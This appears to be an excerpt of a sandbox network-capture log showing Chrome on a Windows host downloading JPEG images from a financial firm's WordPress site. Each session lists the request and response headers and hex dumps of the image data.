2024-04-11 20:35:00 UTC	1378	IN	Data Raw: ad cb 33 57 a7 42 f3 27 d3 91 4c 3a 78 ea bd 99 6e c5 2c 2d ce a9 cd b2 5a 95 51 7a 96 b6 67 49 69 e6 e7 dc d1 56 6c c9 d4 bb 81 96 3d bc 7e 63 45 9f 48 b3 e6 fa ab dc d5 e2 1c be cf 37 13 6e a7 43 16 0c 9d 31 f5 ee ff 00 cb 73 78 f5 f5 03 c4 59 77 ec f0 79 cc f6 fa ac 3f 35 e7 5e 3f 76 d3 f2 ff 00 a5 cd c9 25 f0 fe ef 32 8d 54 7e 7b e9 74 b4 f2 2c fa 9e 32 c5 2f 2f a6 fd 19 ef f4 f9 b1 d7 6d 79 f4 59 d2 e7 ef e9 e6 ab 07 43 16 8f 7f 3f a3 d1 77 2b a9 cd ce 66 a4 b1 ad 79 76 64 ce 33 91 97 3f 4e ab 6a b3 af 9f 0d 56 9c 3d 35 75 f8 fd 6e dc b3 67 d1 4f 9a 2c 31 f2 3e cf 2d 3c ca 33 fd 9f 89 df f5 bf 3a d5 8d 7a 2f 27 d1 e6 fa 39 e4 ea f2 a5 d7 1f 59 e9 79 7e 3f cb fa 3e f9 da bc 9f 67 a3 5a f3 be cf 9d 7f 23 9f c8 f2 f7 e9 4f 8b 9b db e2 3a 9c 7d 3e 8f 2f Data Ascii: 3WB'L:xn,-ZQzgIiVl=~cEH7nC1sxYwy?5^?v%2T~{t,2//myYC?w+fyvd3?NjV=5ungO,1>-<3:z/'9Yy~?>gZ#O:}>/
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: f9 93 fa df 37 78 f9 f7 5f d4 db 5e 4b 6f 5e 7a 60 db aa dc dc 34 ef 39 69 e8 e6 62 dd ea 66 e5 e7 b3 d3 62 f3 79 77 8f 65 3f 09 41 f4 ac ff 00 3b 8d 9f 4c e6 f8 ad 71 e8 b3 f2 3a 9a 90 c9 d1 aa 5e 3e 6f 73 cc b3 cc 2f 7b 6e a7 cf f2 fd 32 36 7c e2 df a1 54 78 da 3d ff 00 94 ac dd 98 f7 6b 87 d2 5a 94 85 a4 aa b8 c2 2c b9 d6 4b 46 0e 8e 6c 2b a3 a1 19 bc cf 67 cd ef 3e ac 8f 37 3a ec 70 fb 1c cb 1e ac fd 3a 53 a3 6c bc fb a8 ba a5 96 ec 34 ec d7 55 84 2c a4 4b 3f 91 3d a6 5f 98 62 93 e8 fc ef 15 14 f7 f8 7c 64 a5 f6 3d 4f 9e 07 d6 f4 7c 6b 5d bf 52 b7 c3 fa bd 5e ad b8 f6 19 ef e7 5e 72 f7 99 4f 54 72 3b 78 d5 33 44 b7 79 8f 43 ce d4 c9 4f 37 a4 9d be 04 b0 4d 6c b5 59 d3 3a fc f7 b0 f3 9b cf cf 23 1b 1e 54 b4 e1 20 a4 f2 8a 8e 85 aa e3 b3 cb bf 26 3d 7e Data Ascii: 7x_^Ko^z`49ibfbywe?A;Lq:^>os/{n26\|Tx=kZ,KFl+g>7:p:Sl4U,K?=_b\|d=O\|k]R^^rOTr;x3DyCO7MlY:#T &=~
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 67 76 46 c8 ab 11 52 ba 07 a0 fa 8f c2 fd 1c d7 d1 3a 18 da d3 be b9 4b 47 9a f5 be 4b 78 f5 05 b6 f2 e9 ce e5 d1 a3 78 bf a7 ce bb 6a b5 47 4e 6e 57 77 cb 8a 79 51 96 b8 df 9e 6e c8 b8 ea ce d3 14 d5 70 9a 05 2c e4 49 c0 68 4a dc 63 12 9d 68 b2 a9 49 63 3b 6b 4a 23 61 2f ba f4 3f 22 fa 35 d7 ac 9c 30 db 1d bc 8e 86 a7 9c f4 9e 77 b5 96 ee 61 cf cd a7 0e 95 d7 1e 97 c0 7b 6f 25 d3 3b a5 5b f4 71 9c 63 28 95 6d c0 01 49 32 48 45 b2 12 28 24 e3 69 45 77 28 ad 5d 50 92 91 04 46 47 17 1d 47 f6 af 89 fd b3 87 5f 1f f3 f9 71 f9 36 43 25 f6 7d 06 1c 5e bf 6c 78 18 ec c5 cb 4a fb 7b 7a cf 99 3a 54 cb 44 22 e5 52 84 e9 db 55 d7 35 92 8c 8e ab a2 aa ca ec 92 bb 6b 86 9a 0a ec 62 ab 5c 16 b8 ea cb 75 b4 c2 49 75 7a 6a cd ae 36 57 75 f4 7f 65 e3 bd 6f 4e 8b cc 79 0c Data Ascii: gvFR:KGKxxjGNnWwyQnp,IhJchIc;kJ#a/?"50wa{o%;[qc(mI2HE($iEw(]PFGG_q6C%}^lxJ{z:TD"RU5kb\uIuzj6WueoNy
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: ce 09 e9 a5 e6 99 e9 63 e6 d2 7a cb bc 3b 93 de af 08 ec fa 37 91 e5 d7 2f 72 5e 64 99 f4 f0 f3 b6 e6 f6 e3 c6 9d 9d 5a b0 4d 35 c2 12 58 c7 4c aa 82 f8 2d 6e 6a 41 c4 25 25 19 a2 bb 69 b2 85 a2 1b ae 79 de 33 aa 5c f8 f3 74 5f 2c 3a 55 73 33 46 fa 30 d9 b9 d7 ed 78 b1 be d4 78 59 b9 6f d6 6d f0 52 cb ec 6f 87 d0 f4 f0 ed 73 df 1e e7 c9 74 3b 99 bd 1c 7c db ed 53 35 85 6d a7 3a c7 cc e9 d7 ac c1 f5 32 4b d8 d7 9a 71 d3 bf ce 70 63 de 64 f1 34 d9 d9 c5 c0 57 3e db d3 fc af d6 63 59 dd dd 3e b8 e7 62 ec cf 3a e0 2e e2 ce f8 98 fb b8 8e 6d 9a 6b b2 83 a9 61 c6 3a b2 8d da 31 57 2f a1 d7 e2 0b 3d ec be 67 6e 6f d1 38 de 43 2d 7a 48 f9 4c 9a cf da 3e 5f 1d f2 62 df da 94 bc fc de 87 0e 35 c1 3a f8 e6 b9 94 f6 78 da 95 c1 df 62 9f 52 47 24 eb 1a 9c 83 a5 15 e6 Data Ascii: cz;7/r^dZM5XL-njA%%iy3\t_,:Us3F0xxYomRost;\|S5m:2Kqpcd4W>cY>b:.mka:1W/=gno8C-zHL>_b5:xbRG$
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 6e 15 b5 db 97 02 3a c7 a1 df e5 7a 3c 3d 5d db 3c f4 35 9e e5 1c 1c bb e7 ea 34 f8 a8 6f 9f b8 9f ce 75 6b 3f 43 d7 e3 bb 35 d7 58 5a ea 97 32 11 d8 b7 8b d0 e7 d3 a9 ce d5 c1 f3 f4 ea be 1d 5e df 37 a2 3c ed 76 7a 43 cc 5c 77 6f e0 76 be 5f a8 c3 bb 85 a6 ea f1 bf a5 e5 d0 57 22 fb 73 29 6d e8 71 3a 7e 1f 46 ec 1a 79 9f 3b bc d6 0a 7f 41 e0 eb d5 c6 ca 9d ca f8 75 a7 73 37 2a 6b da d3 ce e8 fc cf 77 98 aa 79 be 97 86 f4 aa de 76 2c f5 4b ba fc 7a ab 66 bc 3a e5 34 67 bf c7 ea e6 72 3d 2f 03 b7 15 4e 85 e9 f3 f0 b3 ef cb 26 75 75 72 a9 4a 2a 55 2a 86 41 97 a5 1c ea 51 71 d6 48 91 15 53 85 8b b5 c7 db 35 be 88 ac d9 29 ea ac 07 6f a3 5e 3a 1e ca 85 f2 34 7b fc a9 e0 31 7b ac 57 3e 76 af 6b 94 f2 47 6a 9c de 51 be 06 18 6f 8e 6f 39 ec 55 96 5a 99 96 1b 6b Data Ascii: n:z<=]<54ouk?C5XZ2^7<vzC\wov_W"s)mq:~Fy;Aus7kwyv,Kzf:4gr=/N&uurJU*AQqHS5)o^:4{1{W>vkGjQoo9UZk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49823	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:00 UTC	397	OUT	GET /wp-content/uploads/2017/06/shutterstock_521063305.jpg HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:00 UTC	712	IN	HTTP/1.1 200 OK Connection: close Content-Length: 30551 x-fw-version: 5.0.0 last-modified: Thu, 31 Aug 2017 08:25:17 GMT x-fw-hash: thumialfjs x-fw-server: Flywheel/5.1.0 cache-control: public, max-age=31536000 content-type: image/jpeg referrer-policy: no-referrer-when-downgrade x-content-type-options: nosniff x-xss-protection: 1 etag: "59a7c7ed-7757" Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:00 GMT X-Served-By: cache-ewr18142-EWR, cache-ewr18173-EWR X-Cache: MISS, HIT X-Cache-Hits: 0, 1 X-Timer: S1712867700.397292,VS0,VE1 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0b 0b 09 0c 11 0f 12 12 11 0f 11 11 13 16 1c 17 13 14 1a 15 11 11 18 21 18 1a 1d 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c2 00 11 08 01 0f 01 aa 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 01 05 01 01 01 00 00 00 00 00 00 00 00 00 00 05 01 02 03 04 06 07 00 08 ff c4 00 1a 01 00 02 03 01 01 00 00 00 00 00 00 00 00 00 00 00 00 03 01 02 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 e9 3e a0 51 a8 6c Data Ascii: JFIFC!"$"$C">Ql
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: ba 07 1c 38 8c 4b d8 d9 08 f7 95 41 ac 91 00 30 4d 9b 2c 61 76 74 88 93 9b ce 17 76 3d cf d9 73 4d 55 93 a1 55 57 e6 f7 bc 81 9f c5 75 4e 7f 27 39 23 b9 25 31 94 ea 6d c3 d2 c5 72 95 6f e5 d6 61 95 6c a5 b0 69 05 96 ed f9 a6 31 01 92 44 7e 16 95 34 76 57 61 f6 b6 44 9e 6a 81 d8 9e 13 2f 59 80 ef 05 c7 d3 ab 6e b4 24 ba ed 1b fa 32 d7 ad a0 ac ec a5 68 1e 1d 65 93 b1 35 98 20 9d fe 82 37 2a 07 bd e5 05 f2 3c 23 49 10 22 04 44 6a 75 e0 7a 1f 3d da e7 dc 25 c5 32 d6 47 42 25 82 db bf 14 de 4f 31 5e 63 d0 29 b4 5e 65 6d 4c 91 81 2b 60 9b 7b eb 34 bf 39 ab d4 e1 7e 5e 71 27 57 e7 3a f0 9b a1 15 08 75 ac d4 75 eb 79 bb 7f 0f dd 59 1b f5 89 cc ca 58 59 21 39 7a f5 72 0b 7d 1b 28 15 d1 cd a3 18 72 37 66 9a 8e 1d a1 03 31 a4 0b a5 c9 06 8a f8 63 50 32 17 d1 0b b2 Data Ascii: 8KA0M,avtv=sMUUWuN'9#%1mroali1D~4vWaDj/Yn$2he5 7*<#I"Djuz=%2GB%O1^c)^emL+`{49~^q'W:uuyYXY!9zr}(r7f1cP2
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 87 2b 73 30 f7 7f c4 ff 00 29 bb f8 9e d7 f6 f1 5f 18 bd fc 4b f1 c6 3e e8 dd fc 04 cf a0 fc 69 be 50 16 c7 f8 37 c3 d9 14 ce ef 99 8a db 63 a1 d4 85 31 f2 a2 27 24 cb dd e3 3e a8 51 b2 74 6d 81 04 8c ea 45 90 72 6a ec cc 50 c8 56 86 56 0b 46 9e 2e 52 6d 84 91 fc 27 2f 44 e2 31 06 3f d3 69 08 70 32 71 4f 3b ae a8 32 f3 11 32 eb c1 af 35 07 37 54 1f c4 06 15 0e 4a cf 04 21 07 c7 c4 bf 1c 43 ef 1f 67 bc 0b fe 74 84 09 37 34 6b dd be 9f 6e 27 28 b2 e5 39 48 00 41 98 c4 97 8a 31 af 46 d4 8f 1c cc fb 77 ef be fa 13 e9 91 68 87 c3 f7 ba 12 ef b9 7b 3f b4 aa d4 22 0f 62 d6 9e 28 62 8a 19 d9 de cd 9d 47 0c 0e 06 ac bf 59 63 e1 f4 6d 7e ba cb f5 d0 5f ae 44 bf 5b 85 7e b5 02 7c cd 65 fa b5 44 f9 4a 4b f5 3a 4b f5 2a 48 32 94 99 06 62 9a cc 5d 86 da c2 3e f1 d3 77 Data Ascii: +s0)_K>iP7c1'$>QtmErjPVVF.Rm'/D1?ip2qO;2257TJ!Cgt74kn'(9HA1Fwh{?"b(bGYcm~_D[~\|eDJK:K*H2b]>w
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: e4 ad 10 47 a2 8a 28 51 92 23 e6 55 e1 96 73 a7 e1 f3 75 56 bc 55 a2 d2 d2 71 52 d1 82 44 f8 c9 23 21 82 66 67 f7 d3 2e 55 7b d3 57 15 3f ef 7c 6c dd a2 8e 49 4e be 0a c1 ab f1 bd 4b 9f 47 83 0b ef 67 5b ef 50 fe ba 95 98 86 5a 68 98 e2 26 22 12 86 f3 b2 8e 40 91 b8 5b ef 0c a3 d4 8b 1d 6f ac 1f 4f 89 ea 95 56 a4 1e 62 a5 09 a7 b4 f4 99 c4 eb 95 b0 be 30 c9 0d ac 74 f0 50 96 37 13 0f 10 e3 9f 1f 6c 8f 6a bd 4b 16 5e 0c 44 51 b6 1e 21 10 fe 07 6e eb ba c9 97 db c2 eb cd e6 02 b5 b1 92 fd 4a 90 f2 e4 ee b8 45 8e a4 ac 14 67 63 8f 83 8b 59 0c e4 67 20 d4 67 1a eb b3 92 76 67 69 6a 33 a9 a1 28 dd b6 2f 0d f2 15 1c 81 20 d8 0e ac 76 27 b5 5e d7 2f a2 9d 81 b3 0f 1d 6d 58 86 39 a2 bf 4e eb 65 3c 41 8e b6 01 34 4f 71 9d c6 dd 6e 58 7a 38 4c 7d ab 53 53 ab 15 2a Data Ascii: G(Q#UsuVUqRD#!fg.U{W?\|lINKGg[PZh&"@[oOVb0tP7ljK^DQ!nJEgcYg gvgij3(/ v'^/mX9Ne<A4OqnXz8L}SS*
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: f9 78 5a 97 94 58 c7 64 dc ea 63 60 8e 9d 52 79 f2 d7 ba 0b 16 26 d0 30 0b a3 77 64 0f cc 24 2c e9 bb 31 fd 12 2b c3 c9 6b 81 2a 04 43 70 1f d0 4f a7 64 e8 3f 20 7c 7f e4 db 6f 6e a0 9a c4 d3 d4 b2 43 b4 55 95 ba 7b 1b 30 bc 27 bf 48 b0 68 79 e5 2d f2 8f d1 86 fc 68 5d 90 96 db 7c c5 c3 be 93 be 98 8b 9c b7 a5 35 de 89 52 7e 70 ca dc 60 1b 5c d2 5d ab ad 37 11 67 62 43 dd fb 70 75 27 b6 6d b9 72 3c 1d 46 5c 93 44 fe 82 1e e3 ee 3f 8c 3f 28 fc 5b e2 fe e4 db 68 62 e9 44 ec 9c 54 91 ed b2 55 18 c4 c4 a2 93 44 42 65 cc 99 bb 6f e8 c5 f6 99 d3 72 b2 1d 2d ed d5 a5 5c bd 2a d7 33 83 7a 54 f2 0c 63 b1 52 e4 09 0f 34 cf d0 84 b2 50 37 61 75 be 26 99 99 9f d9 49 3a 13 72 9c fd bc 40 3a c9 13 69 33 29 58 89 7a 85 53 93 a9 02 ec a1 41 da 78 fe 23 f0 2f 95 30 dc 9c Data Ascii: xZXdc`Ry&0wd$,1+kCpOd? \|onCU{0'Hhy-h]\|5R~p`\]7gbCpu'mr<F\D??([hbDTUDBeor-\3zTcR4P7au&I:r@:i3)XzSAx#/0
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 37 13 d3 7e 2e 11 3d b5 08 9a 9a 9c d8 30 dd 24 4d 96 98 af 82 2f e4 55 49 44 0e 76 0a 67 62 76 78 8d 1e 2f 2a 81 c2 85 5a 83 a2 8c d0 ae a4 80 52 aa cf 3d 7b 4e 59 45 1d 90 26 8d 34 46 94 a2 9e 4a f6 8d bc 81 a2 06 a8 a2 9a ad d2 54 e0 44 27 37 90 a1 97 a8 3e f9 2d 03 5c ac 95 cc d9 3a 62 e5 5b cc ff 00 37 a6 1a 7f 3c 66 80 f6 5c 53 55 a2 cd d4 d4 6e 9f 1b 99 ba 2a a6 37 62 09 8e 0f 15 17 3e 56 b3 74 e6 07 6e ba 2c f6 58 1a 38 53 fa a9 9b 5c f6 73 d9 7b 6e 2d 0e d0 a9 ac 5f 42 92 32 dd 0a 8a 4e 9b be ca 5b 4f 0d 4c 1c 95 ff c4 00 2f 11 00 02 01 02 05 03 03 03 03 05 01 00 00 00 00 00 00 01 02 03 11 10 12 20 21 31 04 13 41 14 22 51 23 30 32 15 52 71 05 34 42 61 62 81 ff da 00 08 01 02 01 01 3f 01 71 94 79 5a aa c5 3a 70 bf fb 26 bd c5 3b 5f 7f b3 24 e5 2b Data Ascii: 7~.=0$M/UIDvgbvx/ZR={NYE&4FJTD'7>-\:b[7<f\SUn7b>Vtn,X8S\s{n-_B2N[OL/ !1A"Q#02Rq4Bab?qyZ:p&;_$+
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 69 98 2b 5b 84 46 d2 20 e7 9a 02 d2 4a d6 71 e0 a6 e6 39 cf bd 32 54 83 5e 5d d2 4a a6 4d c8 21 5a 95 75 b8 f3 5c 1e ee 2e 45 f7 44 dd 87 24 e8 51 65 3c 41 0b be 10 5b a0 0e 96 ca 6f c3 34 77 df 8e 2a 77 dd 87 24 37 8e 38 2d 1f dd d1 dc a3 7d ef d1 3f aa 3d 54 0e a5 40 fb 81 1e aa 76 95 23 88 fb 1a 59 32 ae c3 13 e6 a3 3e 09 ed 25 c3 19 71 59 72 52 95 72 53 b3 a2 e6 31 42 33 6a dc 1e dc c2 6c 58 66 f3 1e 26 d3 6e e0 9a 9e 68 b5 8f 7c 82 de 79 28 b4 92 5c 47 92 de a4 8a 6b a5 2b ca e8 c5 ca 18 23 78 f1 4d e7 4b 04 cc e5 65 1b 35 58 2f 5d d8 ff 00 15 8c 70 ae eb 22 81 95 d5 33 19 dd 2e 2f 48 9f 64 34 7b a1 dc e6 9c ff 00 49 ef 19 a3 76 30 75 90 3c d4 0e 89 db 18 1c 55 e9 15 31 f6 32 15 36 53 e2 a8 bd 2f 47 6f 62 f3 87 84 a1 5d e5 87 92 94 e8 a4 81 6f 9a 98 Data Ascii: i+[F Jq92T^]JM!Zu\.ED$Qe<A[o4w*w$78-}?=T@v#Y2>%qYrRrS1B3jlXf&nh\|y(\Gk+#xMKe5X/]p"3./Hd4{Iv0u<U126S/Gob]o
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: cd 32 28 18 1a 4b 9d 3e 1c 54 d8 67 f7 e8 bf d4 6a 9a 7e fa de d2 a0 0f c6 af c3 8c d7 34 f1 08 b7 2b 77 d8 cb df 75 50 7c 1a a8 d7 fc 11 7b 81 04 ac 4a a3 94 a8 b5 51 71 18 1c c6 d3 bf 88 c0 80 1c f2 77 a7 dd 67 bd 24 34 7d 26 31 0e 2e 9c 38 a6 b2 39 79 a1 a1 c4 82 5b a2 97 ff 00 f6 07 78 91 d0 df 06 4c 9d c7 68 cd fa f5 e6 8e 8f a3 86 ea bf 36 bc 73 2a 10 80 d7 31 bd e8 0c 67 b0 79 f3 0b d3 e1 c6 87 aa ee c6 87 0e bb c7 d9 1c b9 a6 69 ba 26 f4 56 b6 63 df 6e 5d 55 15 c3 e4 ba 2e 56 4c 29 a3 02 29 ec 62 7f b4 e6 a4 73 b0 ad ef 8a bf 0a 23 5a ef 0b 8a 1a 44 59 99 d0 06 f1 28 17 6e b4 77 5b 96 c6 0b 04 e7 bc 4d d3 4f 80 d8 62 42 5c 54 c3 19 3e 62 6a 42 20 1d 1a 15 fb e6 7c 90 ed 9f 4c 24 56 f4 58 87 f1 5a d1 93 dc 14 41 cd 38 f2 53 79 92 0e 96 2a 7a 92 f1 Data Ascii: 2(K>Tgj~4+wuP\|{JQqwg$4}&1.89y[xLh6s1gyi&Vcn]U.VL))bs#ZDY(nw[MObB\T>bjB \|L$VXZA8Syz
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 0c 9b fd d0 85 04 36 13 47 c0 2d 74 78 fa 44 46 8a c9 8d a2 93 7d 2a 21 94 d5 34 28 ae ea f5 bb fc 31 9e 65 6e ff 00 0e d1 87 e1 53 66 8f 01 9d 1a b7 f8 61 64 da eb 26 36 83 80 bb 5c 38 15 32 80 94 cb dd 49 ad 64 06 30 46 1f ee e4 56 a2 2c ef 8c 27 c7 97 55 e8 91 0e 1e ac fe 9b 4e d3 c8 7e e8 ed 58 cf 6f 9f 24 d6 68 d0 db 06 24 2e eb 7c 2e cb cd 17 e9 32 89 11 f2 37 31 6b 51 73 c8 00 7c 96 a7 42 98 6f 18 9f b2 9c 47 b4 12 78 95 2d 68 f8 2f 5e cf 35 bb 15 87 f1 27 c6 f1 1a 5b 77 bf 14 e0 c0 b5 9a 49 fc 39 29 2f 45 8c e9 bb d8 76 7c b6 a5 65 f7 fc 15 cd 1e 1c 95 e8 d1 1b 0c 73 2a 6f 7e b5 f9 21 77 b3 6b f7 40 0a bc 5a 9b 28 77 af 73 45 d2 63 5a d2 27 45 4d 9a 84 2e a9 bb 62 aa a5 11 ac bb ac dd 9e 48 06 1d e6 d4 3b 9a 1a c9 4c 8e 0b d2 34 77 88 6e 77 7a 7c Data Ascii: 6G-txDF}!4(1enSfad&6\82Id0FV,'UN~Xo$h$.\|.271kQs\|BoGx-h/^5'[wI9)/Ev\|eso~!wk@Z(wsEcZ'EM.bH;L4wnwz\|
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: d5 c0 75 ca 57 75 35 93 87 14 38 ca a1 4f 8a 93 82 98 37 a5 80 2a 6f 04 2a e1 60 75 d1 7b 3d a9 db de 53 ad 90 63 75 69 b2 e4 31 60 0f 28 b7 23 61 cd b6 4f 92 16 97 c3 8a 61 9a 74 41 c0 87 37 c4 dc 36 b5 8d 15 e3 b6 0d 93 9a 27 35 d6 d8 91 3c 4e b2 4d 7d e6 f8 5c a4 46 ad fc f0 58 a9 19 4c a1 b6 d3 0b 89 91 28 be 34 67 0a 50 39 c8 90 67 cf 65 d3 f1 05 45 dd 9a e6 af 13 32 9e db 0f 34 10 e9 b0 ef 25 7a 13 ae 19 f0 e2 a5 18 6a cf 88 77 4a fd 46 cd f6 8d d3 f2 d8 93 7e 2b bc eb 3d 41 f3 72 f5 4d 1e 6b d9 1e 4b d6 7c 95 62 bf e2 a2 38 b8 d1 bc 4e ce e3 c8 4d 73 dc 48 65 50 db ba f6 35 cd e6 a6 d8 30 41 f8 a9 07 0f 26 aa bd de 4b db 77 9a a3 27 d4 d8 3f f9 2c b9 0c 55 4d e6 aa 85 3e c6 bd 02 99 d3 60 f4 4e ea aa bb 17 5d f7 78 29 45 1a 97 73 ee 9d 82 08 a2 97 Data Ascii: uWu58O7o`u{=Scui1`(#aOatA76'5<NM}\FXL(4gP9geE24%zjwJF~+=ArMkK\|b8NMsHeP50A&Kw'?,UM>`N]x)Es

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49824	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:00 UTC	387	OUT	GET /wp-content/uploads/2024/04/beach-houses.jpg HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:00 UTC	714	IN	HTTP/1.1 200 OK Connection: close Content-Length: 157844 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: image/jpeg x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "66154b5c-26894" last-modified: Tue, 09 Apr 2024 14:06:20 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:00 GMT X-Served-By: cache-ewr18182-EWR, cache-ewr18164-EWR X-Cache: MISS, HIT X-Cache-Hits: 0, 1 X-Timer: S1712867700.459591,VS0,VE2 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:35:00 UTC	16384	IN	Data Raw: ff d8 ff e1 00 7a 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 01 00 98 82 02 00 56 00 00 00 1a 00 00 00 00 00 00 00 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 38 20 53 74 61 63 69 65 53 74 61 75 66 66 53 6d 69 74 68 20 50 68 6f 74 6f 73 2f 53 68 75 74 74 65 72 73 74 6f 63 6b 2e 20 20 4e 6f 20 75 73 65 20 77 69 74 68 6f 75 74 20 70 65 72 6d 69 73 73 69 6f 6e 2e 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 64 00 00 ff e1 05 6b 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f Data Ascii: zExifII*VCopyright (c) 2018 StacieStauffSmith Photos/Shutterstock. No use without permission.Duckydkhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="ado
2024-04-11 20:35:00 UTC	16384	IN	Data Raw: 5e d4 ab 8d d8 19 23 d6 96 4e 74 16 b1 f6 56 46 e7 92 80 74 27 44 ad 40 6b e9 af 6e da f4 f2 75 07 b7 10 49 f8 fb 76 53 0d 8b 5c 55 e6 97 0c 59 bd a4 b7 21 2e 04 80 a5 6a d2 8e 83 5d 0f 7f 4e da f4 0f ee 8e 05 0b 48 2b 46 6f 4d 6a 78 1d a9 bd 89 6a 52 bc 4c b2 84 ba 1e 41 0e 9d 11 aa 76 05 7f 9f 7d 3b fc fa 18 ea 9a 8e 97 82 83 e1 53 3d 3d d1 b5 41 07 b3 db f8 d0 db c5 9f 23 5d 55 a8 49 27 e8 3a 68 3d 74 ed a6 bd ff 00 c7 a6 77 52 8f 52 34 14 a4 3a 7b 88 52 40 38 d2 65 d5 c8 8e a5 21 31 de 73 41 a2 94 95 a4 6a 75 fc bd 86 be 9d 14 6e 18 f1 a8 b8 00 6a 2e db 48 d2 40 6b 88 18 91 51 a0 fe 59 91 e5 52 78 fb 8b 71 ca 8c 9b 2f a4 15 d6 3c 87 77 95 5d 23 1f e2 de 14 c6 66 ba 81 fa ef 2c 65 e5 6d a2 b6 d2 7b 4a 08 af a4 8c bf d4 a4 38 e2 16 e8 61 ae eb e3 7d 53 Data Ascii: ^#NtVFt'D@knuIvS\UY!.j]NH+FoMjxjRLAv};S==A#]UI':h=twRR4:{R@8e!1sAjunj.H@kQYRxq/<w]#f,em{J8a}S
2024-04-11 20:35:00 UTC	16384	IN	Data Raw: 68 81 c8 59 bf 22 f2 9e 40 f3 bf 77 61 7b ca 77 b1 a9 50 a4 40 9d 25 45 c1 53 f7 aa 7e 40 da 65 2d 29 d1 ae bc 87 d4 bb bf 50 ef 63 77 48 e8 3b 69 22 d8 9b 3e 52 e0 d7 cb 6c 89 2a 1a b9 62 ec f8 57 b5 fa 3b 69 e9 1e 96 f6 f5 bf 53 ef 21 97 a9 82 b1 40 d6 b9 ec 8a f9 a0 42 f0 33 c0 1c 2f 7a dc 32 bf 76 4f 63 f5 25 b8 18 ac ae 58 cc 44 44 b5 16 1d 76 37 c2 50 2a 99 6d b6 c0 43 0c 57 fe b9 6e db 8d c7 69 b0 12 da 52 d0 4a 53 a7 6d 3a e2 61 f4 0f 5a 72 23 62 69 23 37 af c8 2d 7a 5c ff 00 ba de 98 6a a1 dc 3c 03 6d 31 a2 8f f8 88 4a 6f 8f fb 9f 58 65 d2 d7 13 89 3d 93 7b b2 cd d4 8d a8 8a b5 48 62 0c 09 e5 c0 09 26 0e 23 8b da a9 b7 34 3f 95 4f ea 9f 43 a7 5b 10 7e db f5 07 b9 65 99 ad 09 fa 58 4d fb d2 b0 67 fd e3 e9 71 b4 8d be d6 47 df f5 48 d6 8f 82 de 9e Data Ascii: 